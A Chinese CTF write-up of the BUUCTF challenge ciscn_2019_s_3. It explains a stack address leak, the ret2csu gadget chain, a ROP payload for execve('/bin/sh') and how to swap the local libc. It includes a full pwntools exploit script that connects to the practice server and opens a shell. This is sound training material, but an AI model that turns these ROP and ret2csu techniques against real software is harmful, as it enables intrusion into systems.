0%

关于ret2csu的一道题

BUUciscn_2019_s_3

思路

检查保护,开了NX保护

image-20240223192404259

源码:

signed __int64 vuln()
{
signed __int64 v0; // rax
char buf[16]; // [rsp+0h] [rbp-10h] BYREF

v0 = sys_read(0, buf, 0x400uLL);
return sys_write(1u, buf, 0x30uLL);
}

​ 程序中有两个系统调用,read可栈溢出,程序中没有后门函数。但是我们看到了下面这个,3bh64位程序execve的系统调用号,程序中有系统调用则肯定有syscall即我们可以利用gadgets布置execve的参数,然后syscall获得shell

image-20240223193124425

​ 系统调用execve,我们必须要知道/bin/sh的地址。本题中,buf的长度为16个字节,而write打印0x30个字节,又因为buf在栈上,所以buf下面的一些栈中的数据也会被打印出来。

​ 我们填满buf16个字节,然后发送vuln函数的第一个指令的地址,执行流会重新执行一遍vuln函数。发送payload = b'/bin/sh\x00'+b'a'*8+p64(vuln_addr),然后看栈中的内容,其中0x7ffd3e0cdce8是栈地址同时也能被泄漏。

image-20240223220610682

payload如下:

vuln_addr = 0x4004ed
payload = b'/bin/sh\x00'+b'a'*8+p64(vuln_addr)
p.sendline(payload)
p.recv(0x20)
stack_02_content = u64(p.recv(8))
print('stack_02_content -----> ',hex(stack_02_content))
binsh_addr = stack_02_content-0x148
print('binsh_addr -----> ',hex(binsh_addr))

​ 接下来就是传参,不过我们没有直接找到rdx相关的gadget地址,好吧,其实这就是道关于ret2csu类型的题。

image-20240710111035299 image-20240710111108172

​ 下面是csu片段,我们就是要利用这两个片段,对寄存器进行各种操作,最后使rdx中的值为0execve的第3个参数)。

image-20240223193956921

csu②都是一些pop,重要的是怎么绕过csu①,首先我们要弄懂csu①中的汇编代码是什么意思。其中,call指令是调用函数,这里的[]是间接寻址,call [r12+rbx*8]这个指令的意思是调用一个函数,这个函数在哪,这个函数的地址在r12+rbx*8这个地址里装着。也就是说,如果r12rbx的值分别为0x12345600x123456又指向0x400123这个地址,那么我们要调用的函数的地址不是0x123456而是0x400123

cmp指令用于比较两个操作数的值,cmp rbx,rbp指令的意思是比较rbxrbp这两个寄存器的值。如果rbxrbp的值不相等,那么jnz会跳转到相应的地址执行,反之执行流继续执行下一条指令。

payload如下:

csu1_addr = 0x400580
csu2_addr = 0x40059a
term_proc_lastone_addr = 0x600e50

payload = p64(csu2_addr)+p64(0)+p64(1)+p64(term_proc_lastone_addr)+p64(0)+p64(0)+p64(0)
# rbx rbp r12 r13 r14 r15
payload += p64(csu1_addr)

​ 我们在ida中看到term_proc是一个空函数,其地址为0x4005b4,当然这个肯定不是我们想要的,我们想要的是哪个地址指向0x4005b4

image-20240223200400679

gdb中,我们利用search -p 0x4005b4这个命令看到0x600e50这个地址中装的是0x4005b4

image-20240223200329635

​ 一开始按照上面的payload发送一直打不通,调试的时候发现,调用完这个空函数后会ret到返回地址0x40058d也就是csu①中的add rbx, 1指令,后面会影响栈的有add rsp,86pop指令,所以我们还需要再发送7*8个垃圾数据。

image-20240224101044851

image-20240224101247650

修改后payload如下:

csu1_addr = 0x400580
csu2_addr = 0x40059a
term_proc_lastone_addr = 0x600e50
payload = p64(csu2_addr)+p64(0)+p64(1)+p64(term_proc_lastone_addr)+p64(0)+p64(0)+p64(0)
payload += p64(csu1_addr)+b'a'*8+p64(0)*6
pop_rdi_addr = 0x4005a3
syscall_addr = 0x400501
mov_rax_addr = 0x4004e2
payload += p64(mov_rax_addr)+p64(pop_rdi_addr)+p64(binsh_addr)+p64(syscall_addr)
p.sendline(payload)

exp

from tools import *
#p = process('./s3')
p = remote("node5.buuoj.cn",28982)
#debug(p)

vuln_addr = 0x4004ed
payload = b'/bin/sh\x00'+b'a'*8+p64(vuln_addr)
p.sendline(payload)
p.recv(0x20)
stack_02_content = u64(p.recv(8))
print('stack_02_content -----> ',hex(stack_02_content))
binsh_addr = stack_02_content-0x118
print('binsh_addr -----> ',hex(binsh_addr))

payload = b'/bin/sh\x00'+b'a'*8
csu1_addr = 0x400580
csu2_addr = 0x40059a
term_proc_lastone_addr = 0x600e50
payload += p64(csu2_addr)+p64(0)+p64(1)+p64(term_proc_lastone_addr)+p64(0)+p64(0)+p64(0)
payload += p64(csu1_addr)+b'a'*8+p64(0)*6

pop_rdi_addr = 0x4005a3
syscall_addr = 0x400501
mov_rax_addr = 0x4004e2
payload += p64(mov_rax_addr)+p64(pop_rdi_addr)+p64(binsh_addr)+p64(syscall_addr)
p.sendline(payload)

p.interactive()

拿到flag

image-20240122145901772

更换libc

​ 本题中本地和远程的libc不一样,所以偏移量也不同,本题中本地的是0x148远程为0x118。我们可以利用pathelfglibc-all-in-one更换本地依赖的libc

​ 首先用strings ./libc-2.23.so | grep "GNU"命令查看远程libcGLIBC版本

image-20240224000900918

然后在glibc-all-in-one中找到对应的版本号,64位程序对应amd6432位程序对应i386

image-20240224001212635

执行./download 2.23-0ubuntu11.3_amd64,便会在glibc-all-all-in-one目录下的libs目录中生成一个新目录

image-20240224001750545

最后便可利用patchelf--set-interpreter --add-needed选项分别设置链接器和依赖的路径即可。